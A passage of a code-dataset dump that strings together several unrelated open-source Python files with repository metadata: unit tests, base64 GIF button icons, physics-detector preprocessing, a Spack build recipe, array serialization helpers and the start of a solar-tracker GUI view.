self.assertDataCloseOrEqual([{'a': 1}], []) with self.assertRaisesRegexp( AssertionError, re.compile('Element counts were not equal.*: Row 0', re.DOTALL)): self.assertDataCloseOrEqual([{'a': 1}], [{'b': 1}]) with self.assertRaisesRegexp( AssertionError, re.compile('Not equal to tolerance.*: Row 0, key a', re.DOTALL)): self.assertDataCloseOrEqual([{'a': 1}], [{'a': 2}]) @test_case.parameters((1, 'a'), (2, 'b')) def testSampleParametrizedTestMethod(self, my_arg, my_other_arg): self.assertIn((my_arg, my_other_arg), {(1, 'a'), (2, 'b')}) if __name__ == '__main__': unittest.main()

36.835294

79

0.544874

2,365

0.75535

0

173

0.055254

0

1,112

0.355158

4293119f4fbe0691576ba0bf3959decad7140860

6,388

py

Python

metageta/icons.py

ssutee/metageta

70b7e572acefcce7a8f4d8de719f936934319064

[ "MIT" ]

null

metageta/icons.py

ssutee/metageta

70b7e572acefcce7a8f4d8de719f936934319064

[ "MIT" ]

null

metageta/icons.py

ssutee/metageta

70b7e572acefcce7a8f4d8de719f936934319064

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Copyright (c) 2013 Australian Government, Department of the Environment # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. ''' base 64 encoded gif images for the GUI buttons ''' class app_img: format='gif' data='''R0lGODlhEAAQAOeRACcLIiAbCSAjCjMdMzsfMjUkGUcmRjwwJ0YqRj4xJVwoUFguRkU2MS0/LzQ8 PC8/LzM+QTJCMDJCQTpCQCxIME1CIXQyYW48KTpLO1REPEpKSktKS01KSkpLSkxLTE1LS0VNUDtS PD9PT0tMTExMTE1MTUxNTU1NTU5NTUFUQFFOTkZRU1BPTU9QUUVTVF9PO1JUVVRVSnlNMEVeRlZX W1ZYVVZYWF5XVFBdUkpfX2RZXIZMgVtdX11eX1tfW1xfW1tfXqZEkFtgW2NfYWZgW2tdal9iXk9m Z19iYk9pTqZIn5lNlU1rTp1XOF9lZVxnXF5oXlNrZ59eM1FzU1dyVcVItJJmSl5ycq1Wp1t0cLlU tWB1eF52dmKBY12DX9RWwGN/f+RSzaVzTdNbxmaEhLlzRdFhs2WJZWeJZmOMZ7Z2UXGGhm2IiGqJ iKV+VmuKimyKi26Ojm2ScnGQkGuWb22Wb3OTk+xp2+dr5eF73Pl154SfoMKYeIampoimptiYbPuB 8viD8I2sq/KJ7pOtrZGuruebbpGvr/+I/Ja1tdqrf9i3i/iweviwhP+zhf/Hif/Lpf////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////yH5BAEKAP8ALAAAAAAQABAA AAjRAP8JHEiwoMGBGk6MOChQgwYgEnJwcdGjoAYbIo5EyQIGjh02axyYIOjkSqI4bci8mdPnECEk Ggi2WFHIj6A9WyDQgEFiYIcfKR5MAMHDhJAQTCLUIGgEQ5cZDZKgqUMnDRUfMQVu8ADFi5wzUyjg KLEh6z8PCAZhGfIEBQALZgAtMUCwyI48Y6roQRToThglAzYMZEFkgRY8X4Io0CEgBkENByDxYUAg QAU3jB6JKUBQxYtFigw5avSnjBQZN8wKTGBFTZMLGRwy/Mfhg2qCAQEAOw==''' class shp_img: format='gif' data='''R0lGODlhEAAQAMIFABAQEIBnII+HgLS0pfDwsC8gIC8gIC8gICH5BAEKAAcALAAAAAAQABAAAAND eLrcJzBKqcQIN+MtwAvTNHTPSJwoQAigxwpouo4urZ7364I4cM8kC0x20n2GRGEtJGl9NFBMkBny HHzYrNbB7XoXCQA7''' class dir_img: format='gif', data='''R0lGODlhEAAQAMZUABAQEB8QEB8YEC8gIC8vIEA4ME9IQF9IIFpTSWBXQHBfUFBoj3NlRoBnII9v IIBwUGB3kH93YIZ5UZ94IJB/YIqAcLB/EI+IcICHn4+HgMCHEI6Oe4CPn4+PgMCQANCHEJ+PgICX r9CQANCQEJ+XgJKanaCgkK+fgJykoaKjo7CgkKimk+CfIKKoo6uoleCgMLCnkNCnUKuwpLSvkrSv mfCoMLWyn7+wkM+vcLS0pfCwML+4kPC3QNDAgM+/kPDAQP+/UODIgP/IUODQoP/QUPDQgP/QYP/P cPDYgP/XYP/XcP/YgPDgkP/ggP/gkPDnoP/noPDwoPDwsP/woP////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////yH5 BAEKAH8ALAAAAAAQABAAAAe1gH+Cg4SFhoQyHBghKIeEECV/ORwtEDYwmJg0hikLCzBDUlJTUCoz hZ4LKlGjUFBKJiQkIB0XgypPpFBLSb2+toImT643N5gnJ7IgIBkXJExQQTBN1NVNSkoxFc9OMDtK vkZEQjwvDC4gSNJNR0lGRkI/PDoNEn8gRTA+Su9CQPM1PhxY8SdDj2nw4umowWJEAwSCLqjAIaKi Bw0WLExwcGBDRAoRHihIYKAAgQECAARwxFJQIAA7''' class xls_img: format='gif' data='''R0lGODlhEAAQAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/ /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/ MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/ mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/ /5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///ywAAAAAEAAQAAAIngBfuUKF ipBBg4MS9umTJYsrBAheSZwokGBBhwgeaNzIUSOhLKgydhz5EdWrB4oOelT5kdDJLwgUKRpEKOUX Gtpannzw5ZVNQje15czicmNPg1lwCtW5EeirQV+IEtI2iOjOmh9dQc2SimqWQa4efGzYcGZUr4NQ ddSWimwWr33UahRKly61qn0Iza1rl9qXKVIPIkyY8Mtft4gTTwkIADs=''' class xsl_img: format='gif' data='''R0lGODdhEAAQAOMPAAAAAAAAgAAAmQAA/zNmmQCAgDNm/zOZAIaGhjOZ/zPM/8DAwKbK8DP///Hx 8f///ywBAAAADwAQAAAEWBDJSeW76Or9Vn4f5zzOAp5kOo5AC2QOMxaFQcrP+zDCUzyNROAhkL14 pEJDcQiMijqkIXEYDIsOXWwU6N5Yn5VKpSWYz2fwRcwmldFo9bidhc3Hrrw+HwEAOw==''' class log_img: format='gif' data='''R0lGODlhEAAQAIQQAG9s0oJ5eatyP6tycpePj6ulP6ulctWeOaulpdWentXSOcvHx9XS0v/MzP// zP///y8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gIC8gICH5BAEK ABAALAAAAAAQABAAAAViICSOUNMwjEOOhyIUyhAbzMoAgJAQi9EjtRGAIXgUjw9CUDR8OJ9OJakJ fUqFjCSBZ11CqNWkt7ndLqLjbFg8zZa5bOw6znSfoVfm3clYIP5eEH4EAQFlCAsrEH2ICygoJCEA Ow=='''

63.88

89

0.688009

5,129

0.802912

0

6,111

0.956637

42934dc5c7b47e76f47a4a49a47981e068b48692

1,417

py

Python

chmp/src/chmp/torch_utils/_test_bayes.py

chmp/misc-exp

2edc2ed598eb59f4ccb426e7a5c1a23343a6974b

[ "MIT" ]

6

2017-10-31T20:54:37.000Z

2020-10-23T19:03:00.000Z

chmp/src/chmp/torch_utils/_test_bayes.py

chmp/misc-exp

2edc2ed598eb59f4ccb426e7a5c1a23343a6974b

[ "MIT" ]

7

2020-03-24T16:14:34.000Z

2021-03-18T20:51:37.000Z

chmp/src/chmp/torch_utils/_test_bayes.py

chmp/misc-exp

2edc2ed598eb59f4ccb426e7a5c1a23343a6974b

[ "MIT" ]

1

2019-07-29T07:55:49.000Z

import torch import pytest # NOTE: also registers the KL divergence from chmp.torch_utils import NormalModule, WeightsHS, fixed def test_kl_divergence__gamma__log_normal(): p = torch.distributions.LogNormal(torch.zeros(2), torch.ones(2)) q = torch.distributions.Gamma(torch.ones(2), torch.ones(2)) torch.distributions.kl_divergence(p, q) def test__module_parameters(): module = NormalModule(loc=torch.zeros(1), scale=fixed(torch.ones(1))) assert {k for k, _ in module.named_parameters()} == {"loc"} module = NormalModule(loc=torch.zeros(1), scale=torch.ones(1)) assert {k for k, _ in module.named_parameters()} == {"loc", "scale"} module = NormalModule(torch.zeros(1), scale=fixed(torch.ones(1))) assert {k for k, _ in module.named_parameters()} == {"loc"} def test__module_fixed_parameters_optimize(): module = NormalModule(torch.zeros(1), fixed(torch.ones(1))) optimizer = torch.optim.Adam(module.parameters(), lr=0.1) for _ in range(100): optimizer.zero_grad() x = module.rsample((20,)) loss = torch.mean((x - 2.0) ** 2.0) loss.backward() optimizer.step() assert float(module.loc) != pytest.approx(0.0) assert float(module.scale) == pytest.approx(1.0) def test_weight_hs_api(): w = WeightsHS([10, 20, 30], tau_0=1e-5) assert w().shape == (10, 20, 30) assert w.kl_divergence().shape == ()

28.918367

73

0.666902

0

62

0.043754

4293fa719a880b9bfe3a700da09a0f285fc6495b

867

py

Python

test/hummingbot/core/utils/test_fixed_rate_source.py

BGTCapital/hummingbot

2c50f50d67cedccf0ef4d8e3f4c8cdce3dc87242

[ "Apache-2.0" ]

3,027

2019-04-04T18:52:17.000Z

2022-03-30T09:38:34.000Z

test/hummingbot/core/utils/test_fixed_rate_source.py

BGTCapital/hummingbot

2c50f50d67cedccf0ef4d8e3f4c8cdce3dc87242

[ "Apache-2.0" ]

4,080

2019-04-04T19:51:11.000Z

2022-03-31T23:45:21.000Z

test/hummingbot/core/utils/test_fixed_rate_source.py

BGTCapital/hummingbot

2c50f50d67cedccf0ef4d8e3f4c8cdce3dc87242

[ "Apache-2.0" ]

1,342

2019-04-04T20:50:53.000Z

2022-03-31T15:22:36.000Z

from decimal import Decimal from unittest import TestCase from hummingbot.core.utils.fixed_rate_source import FixedRateSource class FixedRateSourceTests(TestCase): def test_look_for_unconfigured_pair_rate(self): rate_source = FixedRateSource() self.assertIsNone(rate_source.rate("BTC-USDT")) def test_get_rate(self): rate_source = FixedRateSource() rate_source.add_rate("BTC-USDT", Decimal(40000)) self.assertEqual(rate_source.rate("BTC-USDT"), Decimal(40000)) def test_get_rate_when_inverted_pair_is_configured(self): rate_source = FixedRateSource() rate_source.add_rate("BTC-USDT", Decimal(40000)) self.assertEqual(rate_source.rate("USDT-BTC"), Decimal(1) / Decimal(40000)) def test_string_representation(self): self.assertEqual(str(FixedRateSource()), "fixed rates")

32.111111

83

0.731257

737

0.850058

0

63

0.072664

4297be6e9ea671a123810cad1577476fb18a42d0

5,293

py

Python

src/graphnet/models/detector/icecube.py

kaareendrup/gnn-reco

21f4e36ef17c765a04cde0b2e34d5f802a988055

[ "Apache-2.0" ]

null

src/graphnet/models/detector/icecube.py

kaareendrup/gnn-reco

21f4e36ef17c765a04cde0b2e34d5f802a988055

[ "Apache-2.0" ]

null

src/graphnet/models/detector/icecube.py

kaareendrup/gnn-reco

21f4e36ef17c765a04cde0b2e34d5f802a988055

[ "Apache-2.0" ]

null

import torch from torch_geometric.data import Data from graphnet.components.pool import group_pulses_to_dom, group_pulses_to_pmt, sum_pool_and_distribute from graphnet.data.constants import FEATURES from graphnet.models.detector.detector import Detector class IceCube86(Detector): """`Detector` class for IceCube-86.""" # Implementing abstract class attribute features = FEATURES.ICECUBE86 def _forward(self, data: Data) -> Data: """Ingests data, builds graph (connectivity/adjacency), and preprocesses features. Args: data (Data): Input graph data. Returns: Data: Connected and preprocessed graph data. """ # Check(s) self._validate_features(data) # Preprocessing data.x[:,0] /= 100. # dom_x data.x[:,1] /= 100. # dom_y data.x[:,2] += 350. # dom_z data.x[:,2] /= 100. data.x[:,3] /= 1.05e+04 # dom_time data.x[:,3] -= 1. data.x[:,3] *= 20. data.x[:,4] /= 1. # charge data.x[:,5] -= 1.25 # rde data.x[:,5] /= 0.25 data.x[:,6] /= 0.05 # pmt_area return data class IceCubeDeepCore(IceCube86): """`Detector` class for IceCube-DeepCore.""" class IceCubeUpgrade(IceCubeDeepCore): """`Detector` class for IceCube-Upgrade.""" # Implementing abstract class attribute features = FEATURES.UPGRADE def _forward(self, data: Data) -> Data: """Ingests data, builds graph (connectivity/adjacency), and preprocesses features. Args: data (Data): Input graph data. Returns: Data: Connected and preprocessed graph data. """ # Check(s) self._validate_features(data) # Preprocessing data.x[:,0] /= 500. # dom_x data.x[:,1] /= 500. # dom_y data.x[:,2] /= 500. # dom_z data.x[:,3] /= 2e+04 # dom_time data.x[:,3] -= 1. data.x[:,4] = torch.log10(data.x[:,4]) / 2. # charge #data.x[:,5] /= 1. # rde data.x[:,6] /= 0.05 # pmt_area data.x[:,7] -= 50. # string data.x[:,7] /= 50. data.x[:,8] /= 20. # pmt_number data.x[:,9] -= 60. # dom_number data.x[:,9] /= 60. #data.x[:,10] /= 1. # pmt_dir_x #data.x[:,11] /= 1. # pmt_dir_y #data.x[:,12] /= 1. # pmt_dir_z data.x[:,13] /= 130. # dom_type return data class IceCubeUpgrade_V2(IceCubeDeepCore): """`Detector` class for IceCube-Upgrade.""" # Implementing abstract class attribute features = FEATURES.UPGRADE @property def nb_outputs(self): return self.nb_inputs + 3 def _forward(self, data: Data) -> Data: """Ingests data, builds graph (connectivity/adjacency), and preprocesses features. Args: data (Data): Input graph data. Returns: Data: Connected and preprocessed graph data. """ # Check(s) self._validate_features(data) # Assign pulse cluster indices to DOMs and PMTs, respectively data = group_pulses_to_dom(data) data = group_pulses_to_pmt(data) # Feature engineering inspired by Linea Hedemark and Tetiana Kozynets. xyz = torch.stack((data['dom_x'], data['dom_y'], data['dom_z']), dim=1) pmt_dir = torch.stack((data['pmt_dir_x'], data['pmt_dir_x'], data['pmt_dir_x']), dim=1) charge = data['charge'].unsqueeze(dim=1) center_of_gravity = sum_pool_and_distribute(xyz * charge, data.batch) / sum_pool_and_distribute(charge, data.batch) vector_to_center_of_gravity = center_of_gravity - xyz distance_to_center_of_gravity = torch.norm(vector_to_center_of_gravity, p=2, dim=1) unit_vector_to_center_of_gravity = vector_to_center_of_gravity / (distance_to_center_of_gravity.unsqueeze(dim=1) + 1e-3) cos_angle_wrt_center_of_gravity = (pmt_dir * unit_vector_to_center_of_gravity).sum(dim=1) photoelectrons_on_pmt = sum_pool_and_distribute(data['charge'], data.pmt_index, data.batch).floor().clip(1, None) # Add new features data.x = torch.cat(( data.x, photoelectrons_on_pmt.unsqueeze(dim=1), distance_to_center_of_gravity.unsqueeze(dim=1), cos_angle_wrt_center_of_gravity.unsqueeze(dim=1), ), dim=1) # Preprocessing data.x[:,0] /= 500. # dom_x data.x[:,1] /= 500. # dom_y data.x[:,2] /= 500. # dom_z data.x[:,3] /= 2e+04 # dom_time data.x[:,3] -= 1. data.x[:,4] = torch.log10(data.x[:,4]) / 2. # charge #data.x[:,5] /= 1. # rde data.x[:,6] /= 0.05 # pmt_area data.x[:,7] -= 50. # string data.x[:,7] /= 50. data.x[:,8] /= 20. # pmt_number data.x[:,9] -= 60. # dom_number data.x[:,9] /= 60. #data.x[:,10] /= 1. # pmt_dir_x #data.x[:,11] /= 1. # pmt_dir_y #data.x[:,12] /= 1. # pmt_dir_z data.x[:,13] /= 130. # dom_type # -- Engineered features data.x[:,14] = torch.log10(data.x[:,14]) / 2. # photoelectrons_on_pmt data.x[:,15] = torch.log10(1e-03 + data.x[:,15]) / 2. # distance_to_center_of_gravity return data

33.713376

128

0.575477

5,028

0.949934

0

69

0.013036

0

1,816

0.343095

429945dde445e0205f0ceeefa695def22a8e1795

450

py

Python

tests/routes_parsing/test1.py

hellojoechip/bambleweeny

ef65f574081eb169aef5a2f7363c3f8ba9ebf028

[ "MIT" ]

22

2018-09-30T12:08:09.000Z

2020-11-18T06:32:01.000Z

tests/routes_parsing/test1.py

hellojoechip/bambleweeny

ef65f574081eb169aef5a2f7363c3f8ba9ebf028

[ "MIT" ]

34

2018-09-13T14:54:21.000Z

2020-03-26T18:26:26.000Z

tests/routes_parsing/test1.py

hellojoechip/bambleweeny

ef65f574081eb169aef5a2f7363c3f8ba9ebf028

[ "MIT" ]

17

2018-10-07T15:41:50.000Z

2021-12-10T10:29:02.000Z

import re t1 = 'Data !@[value1] and also !@[system:uptime] testing.' print("Content: " + t1) if re.search('!@\[[_a-zA-Z0-9:]*\]', t1): print("YES") else: print("NO") o = re.sub('!@\[[_a-zA-Z0-9:]*\]', '_B9yPrsE_\\g<0>_B9yPrsE_', t1) o2 = o.split("_B9yPrsE_") for i in o2: if i.startswith("!@["): i2 = re.sub('[^\w:]', "", i) print("Parse: " + str(i) + " " +str(i2)) else: print("Plain: '" + str(i) + "'")

21.428571

66

0.482222

0

194

0.431111

429a7f070688a75a8c4a4c449d4d3474a9a7088a

5,430

py

Python

internal/notes/builtin-SAVE/packages/suite-sparse/package.py

HPCToolkit/hpctest

5ff4455582bf39e75530a31badcf6142081b386b

[ "BSD-3-Clause" ]

1

2019-01-17T20:07:19.000Z

internal/notes/builtin-SAVE/packages/suite-sparse/package.py

HPCToolkit/hpctest

5ff4455582bf39e75530a31badcf6142081b386b

[ "BSD-3-Clause" ]

null

internal/notes/builtin-SAVE/packages/suite-sparse/package.py

HPCToolkit/hpctest

5ff4455582bf39e75530a31badcf6142081b386b

[ "BSD-3-Clause" ]

2

2019-08-06T18:13:57.000Z

2021-11-05T18:19:49.000Z

############################################################################## # Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-647188 # # For details, see https://github.com/spack/spack # Please also see the NOTICE and LICENSE files for our notice and the LGPL. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License (as # published by the Free Software Foundation) version 2.1, February 1999. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and # conditions of the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## from spack import * class SuiteSparse(Package): """ SuiteSparse is a suite of sparse matrix algorithms """ homepage = 'http://faculty.cse.tamu.edu/davis/suitesparse.html' url = 'http://faculty.cse.tamu.edu/davis/SuiteSparse/SuiteSparse-4.5.1.tar.gz' version('4.5.5', '0a5b38af0016f009409a9606d2f1b555') version('4.5.4', 'f6ab689442e64a1624a47aa220072d1b') version('4.5.3', '8ec57324585df3c6483ad7f556afccbd') version('4.5.1', 'f0ea9aad8d2d1ffec66a5b6bfeff5319') variant('tbb', default=False, description='Build with Intel TBB') variant('pic', default=True, description='Build position independent code (required to link with shared libraries)') variant('cuda', default=False, description='Build with CUDA') variant('openmp', default=False, description='Build with OpenMP') depends_on('blas') depends_on('lapack') depends_on('metis@5.1.0', when='@4.5.1:') # in @4.5.1. TBB support in SPQR seems to be broken as TBB-related linkng # flags does not seem to be used, which leads to linking errors on Linux. depends_on('tbb', when='@4.5.3:+tbb') depends_on('cuda', when='+cuda') patch('tbb_453.patch', when='@4.5.3:+tbb') # This patch removes unsupported flags for pgi compiler patch('pgi.patch', when='%pgi') def install(self, spec, prefix): # The build system of SuiteSparse is quite old-fashioned. # It's basically a plain Makefile which include an header # (SuiteSparse_config/SuiteSparse_config.mk)with a lot of convoluted # logic in it. Any kind of customization will need to go through # filtering of that file pic_flag = self.compiler.pic_flag if '+pic' in spec else '' make_args = [ 'INSTALL=%s' % prefix, # By default, the Makefile uses the Intel compilers if # they are found. The AUTOCC flag disables this behavior, # forcing it to use Spack's compiler wrappers. 'AUTOCC=no', # CUDA=no does NOT disable cuda, it only disables internal search # for CUDA_PATH. If in addition the latter is empty, then CUDA is # completely disabled. See # [SuiteSparse/SuiteSparse_config/SuiteSparse_config.mk] for more. 'CUDA=no', 'CUDA_PATH=%s' % (spec['cuda'].prefix if '+cuda' in spec else ''), 'CFOPENMP=%s' % (self.compiler.openmp_flag if '+openmp' in spec else ''), 'CFLAGS=-O3 %s' % pic_flag, # Both FFLAGS and F77FLAGS are used in SuiteSparse makefiles; # FFLAGS is used in CHOLMOD, F77FLAGS is used in AMD and UMFPACK. 'FFLAGS=%s' % pic_flag, 'F77FLAGS=%s' % pic_flag, # use Spack's metis in CHOLMOD/Partition module, # otherwise internal Metis will be compiled 'MY_METIS_LIB=%s' % spec['metis'].libs.ld_flags, 'MY_METIS_INC=%s' % spec['metis'].prefix.include, # Make sure Spack's Blas/Lapack is used. Otherwise System's # Blas/Lapack might be picked up. Need to add -lstdc++, following # with the TCOV path of SparseSuite 4.5.1's Suitesparse_config.mk, # even though this fix is ugly 'BLAS=%s' % (spec['blas'].libs.ld_flags + ( '-lstdc++' if '@4.5.1' in spec else '')), 'LAPACK=%s' % spec['lapack'].libs.ld_flags, ] # SuiteSparse defaults to using '-fno-common -fexceptions' in # CFLAGS, but not all compilers use the same flags for these # optimizations if any([x in spec for x in ('%clang', '%gcc', '%intel')]): make_args += ['CFLAGS+=-fno-common -fexceptions'] elif '%pgi' in spec: make_args += ['CFLAGS+=--exceptions'] if '%xl' in spec or '%xl_r' in spec: make_args += ['CFLAGS+=-DBLAS_NO_UNDERSCORE'] # Intel TBB in SuiteSparseQR if 'tbb' in spec: make_args += [ 'SPQR_CONFIG=-DHAVE_TBB', 'TBB=-L%s -ltbb' % spec['tbb'].prefix.lib, ] make('install', *make_args)

44.876033

122

0.618416

4,172

0.768324

0

3,703

0.681952

429b606cd5d96a46f963693074a289b595badea4

4,580

py

Python

tick/array/serialize.py

andro2157/tick

d22d0e70c8bb2d5b232ffa7b97426010c2328edc

[ "BSD-3-Clause" ]

null

tick/array/serialize.py

andro2157/tick

d22d0e70c8bb2d5b232ffa7b97426010c2328edc

[ "BSD-3-Clause" ]

null

tick/array/serialize.py

andro2157/tick

d22d0e70c8bb2d5b232ffa7b97426010c2328edc

[ "BSD-3-Clause" ]

null

# License: BSD 3 clause import os import numpy as np import scipy from tick.array.build.array import ( tick_float_array_to_file, tick_float_array2d_to_file, tick_float_sparse2d_to_file, tick_double_array_to_file, tick_double_array2d_to_file, tick_double_sparse2d_to_file, tick_float_array_from_file, tick_float_array2d_from_file, tick_float_sparse2d_from_file, tick_double_array_from_file, tick_double_array2d_from_file, tick_double_sparse2d_from_file, ) def serialize_array(array, filepath): """Save an array on disk on a format that tick C++ modules can read This method is intended to be used by developpers only, mostly for benchmarking in C++ on real datasets imported from Python Parameters ---------- array : `np.ndarray` or `scipy.sparse.csr_matrix` 1d or 2d array filepath : `str` Path where the array will be stored Returns ------- path : `str` Global path of the serialized array """ if array.dtype not in [np.float32, np.float64]: raise ValueError('Only float32/64 arrays can be serrialized') if array.dtype == "float32": if isinstance(array, np.ndarray): if len(array.shape) == 1: serializer = tick_float_array_to_file elif len(array.shape) == 2: serializer = tick_float_array2d_to_file else: raise ValueError('Only 1d and 2d arrays can be serrialized') else: if len(array.shape) == 2: serializer = tick_float_sparse2d_to_file else: raise ValueError('Only 2d sparse arrays can be serrialized') elif array.dtype == "float64" or array.dtype == "double": if isinstance(array, np.ndarray): if len(array.shape) == 1: serializer = tick_double_array_to_file elif len(array.shape) == 2: serializer = tick_double_array2d_to_file else: raise ValueError('Only 1d and 2d arrays can be serrialized') else: if len(array.shape) == 2: serializer = tick_double_sparse2d_to_file else: raise ValueError('Only 2d sparse arrays can be serrialized') else: raise ValueError('Unhandled serrialization type') serializer(filepath, array) return os.path.abspath(filepath) def load_array(filepath, array_type='dense', array_dim=1, dtype="float64"): """Loaf an array from disk from a format that tick C++ modules can read This method is intended to be used by developpers only, mostly for benchmarking in C++ on real datasets imported from Python Parameters ---------- filepath : `str` Path where the array was stored array_type : {'dense', 'sparse'}, default='dense' Expected type of the array array_dim : `int` Expected dimension of the array Returns ------- array : `np.ndarray` or `scipy.sparse.csr_matrix` 1d or 2d array """ abspath = os.path.abspath(filepath) if not os.path.exists(filepath): raise FileNotFoundError('File {} does not exists'.format(abspath)) if dtype == "float32": if array_type == 'dense': if array_dim == 1: reader = tick_float_array_from_file elif array_dim == 2: reader = tick_float_array2d_from_file else: raise ValueError('Only 1d and 2d arrays can be loaded') elif array_type == 'sparse': if array_dim == 2: reader = tick_float_sparse2d_from_file else: raise ValueError('Only 2d sparse arrays can be loaded') else: raise ValueError('Cannot load this class of array') elif dtype == "float64" or dtype == "double": if array_type == 'dense': if array_dim == 1: reader = tick_double_array_from_file elif array_dim == 2: reader = tick_double_array2d_from_file else: raise ValueError('Only 1d and 2d arrays can be loaded') elif array_type == 'sparse': if array_dim == 2: reader = tick_double_sparse2d_from_file else: raise ValueError('Only 2d sparse arrays can be loaded') else: raise ValueError('Cannot load this class of array') else: raise ValueError('Unhandled serrialization type') return reader(filepath)

32.94964

76

0.613974

0

1,662

0.362882

429b9b03d73a5f7f9bbccc750f09ea936a25f8a0

78

py

Python

__init__.py

bbockelm/glideinWMS

a2b39e3d4ff6c4527efad54b1eefe728a4ec9d18

[ "BSD-3-Clause" ]

null

__init__.py

bbockelm/glideinWMS

a2b39e3d4ff6c4527efad54b1eefe728a4ec9d18

[ "BSD-3-Clause" ]

3

2015-12-02T19:37:45.000Z

2016-01-20T03:21:48.000Z

__init__.py

bbockelm/glideinWMS

a2b39e3d4ff6c4527efad54b1eefe728a4ec9d18

[ "BSD-3-Clause" ]

1

2015-12-01T23:02:41.000Z

__all__=["factory","frontend","lib","tools","creation","install","unittests"]

39

77

0.692308

0

61

0.782051

429beefc88e6c9cf72106405ad5b6e321025f9d6

20,658

py

Python

views/menuVisualizacaoGeral.py

iOsnaaente/Tracker-solar-Supervisorio

9790c34f0d9df283bc1b92f79b2807875dbcfe3e

[ "MIT" ]

2

2022-01-29T21:33:12.000Z

2022-02-01T12:41:35.000Z

views/menuVisualizacaoGeral.py

iOsnaaente/Tracker-solar-Supervisorio

9790c34f0d9df283bc1b92f79b2807875dbcfe3e

[ "MIT" ]

null

views/menuVisualizacaoGeral.py

iOsnaaente/Tracker-solar-Supervisorio

9790c34f0d9df283bc1b92f79b2807875dbcfe3e

[ "MIT" ]

null

import dearpygui.dearpygui as dpg import datetime as dt import math from registry import * SUN_DATA.update_date() # FUNCTIONS def get_semi_circle_points( center, radius, angle_i, angle_f, segments = 360, closed = False ): points_close = [[ center[0], center[1]-radius ] , center, [ center[0] + radius, center[1] ] ] angles = [ ((angle_f - angle_i)/segments)*n for n in range(segments) ] points = [ [ center[0] + radius*math.cos(ang), center[1] - radius*math.sin(ang) ] for ang in angles ] if closed: points_close.extend( points ) return points_close else: return points def draw_sun_trajetory( draw_id, parent_id, all_day = False, extremes = False ): # Ponto central, dimensões da tela e Raio width, height = dpg.get_item_width( draw_id ), dpg.get_item_height( draw_id ) center = [ width//2, height//2 ] r = width//2 - 20 if width+20 <= height else height//2 - 20 id_link = draw_id*100 # DESENHO DA LINHA DE NASCER DO SOL E POR DO SOL azi = SUN_DATA.get_pos_from_date( SUN_DATA.rising )[1] alt = SUN_DATA.get_pos_from_date( SUN_DATA.sunset )[1] # [ alt , azi ] # PEGA OS ANGULOS NOS PONTOS DA TRAJETÓRIA DO SOL dots = SUN_DATA.trajetory(100, all_day ) # PONTOS DE ACORDO COM Azimute - Altitude dots = [ 